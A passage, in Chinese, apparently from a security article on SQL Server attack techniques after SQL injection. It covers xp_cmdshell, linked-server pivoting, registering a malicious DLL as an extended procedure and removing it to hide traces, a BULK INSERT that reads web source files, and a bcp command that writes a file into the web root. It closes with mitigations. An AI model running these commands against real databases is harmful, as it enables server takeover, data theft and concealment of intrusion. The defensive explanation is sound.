dir, net user)。若服務跑 SYSTEM/域管理員,後果災難性。若已配置 sp_addlinkedserver + sp_addlinkedsrvlogin,攻擊者可用 OPENQUERY 跳板攻擊其他資料庫實例。
攻擊者上傳惡意 DLL(HTTP/FTP/BCP 等),註冊:sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll',執行 EXEC xp_webserver 後再 sp_dropextendedproc 清理痕跡。
CREATE TABLE foo(line VARCHAR(8000));
BULK INSERT foo FROM 'c:\inetpub\wwwroot\process_login.asp';
-- 配合錯誤回顯或 UNION 查詢將檔案內容帶出
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
緩解措施: 移除 PUBLIC 對高危擴展預存程序的 EXECUTE 權限;禁用 xp_cmdshell(sp_configure 'xp_cmdshell', 0);服務帳號使用最低權限網域帳號;啟用防火牆限制對外連線;稽核擴展預存程序呼叫。